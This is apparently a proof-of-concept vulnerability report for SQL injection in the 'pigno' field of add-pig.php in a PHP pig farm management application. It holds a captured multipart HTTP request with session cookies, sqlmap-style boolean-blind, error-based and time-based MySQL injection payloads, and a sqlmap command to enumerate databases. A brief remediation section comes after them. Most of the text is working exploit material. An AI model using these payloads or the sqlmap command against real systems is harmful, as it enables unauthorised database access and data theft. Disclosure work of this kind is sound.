POST /add-pig.php HTTP/1.1
Host: 192.168.1.136:1219
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------359458591942496535511331165261
Content-Length: 1199
Origin: http://192.168.1.136:1219
Connection: close
Referer: http://192.168.1.136:1219/add-pig.php
Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%227LWOmQxn1kFNKDQIKEqUQQ%3D%3D%22%2C%22mac%22%3A%22f46715269295f7bc9c1753cf49cb29de885e0738%22%2C%22payload%22%3A%22uwlGMpERga3ktRQQmcLQUg%3D%3D%22%7D; PHPSESSID=4j8anjs7rlcs27867bnlmj1116; phpMyAdmin=5r1opuf2mqc9j30vli7mfrhvtt; pmaAuth-1=%7B%22iv%22%3A%22HbgyCK8mDtH6Yh3l1rTCWw%3D%3D%22%2C%22mac%22%3A%226259e5b1095aeff224b50540aea65c624fb900c9%22%2C%22payload%22%3A%22SiwuQJzR6qfxiA6velzoYRz%2BXnITRHrg37ZL9M1sbb0%3D%22%7D
Upgrade-Insecure-Requests: 1
Priority: u=1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"
pig-fms-5320
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"
2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"
male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"
active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"
1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"
-----------------------------359458591942496535511331165261--
Parameter: MULTIPART pigno ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"
pig-fms-5320' RLIKE (SELECT (CASE WHEN (5474=5474) THEN 0x7069672d666d732d35333230 ELSE 0x28 END)) AND 'YqbQ'='YqbQ
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"
2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"
male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"
active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"
1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"
-----------------------------359458591942496535511331165261--
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"
pig-fms-5320' AND EXTRACTVALUE(4487,CONCAT(0x5c,0x7178767871,(SELECT (ELT(4487=4487,1))),0x71786a7a71)) AND 'nUep'='nUep
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"
2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"
male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"
active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"
1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"
-----------------------------359458591942496535511331165261--
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: -----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigno"
pig-fms-5320' RLIKE SLEEP(5) AND 'bQdJ'='bQdJ
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="weight"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="arrived"
2024-06-01
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="gender"
male
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="status"
active
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="breed"
1
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="remark"
123
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="pigphoto"; filename="123.php"
Content-Type: application/octet-stream
-----------------------------359458591942496535511331165261
Content-Disposition: form-data; name="submit"
-----------------------------359458591942496535511331165261--
sqlmap -r 123 --batch --dbs
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as’ root ‘or’ admin ') for daily operations.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.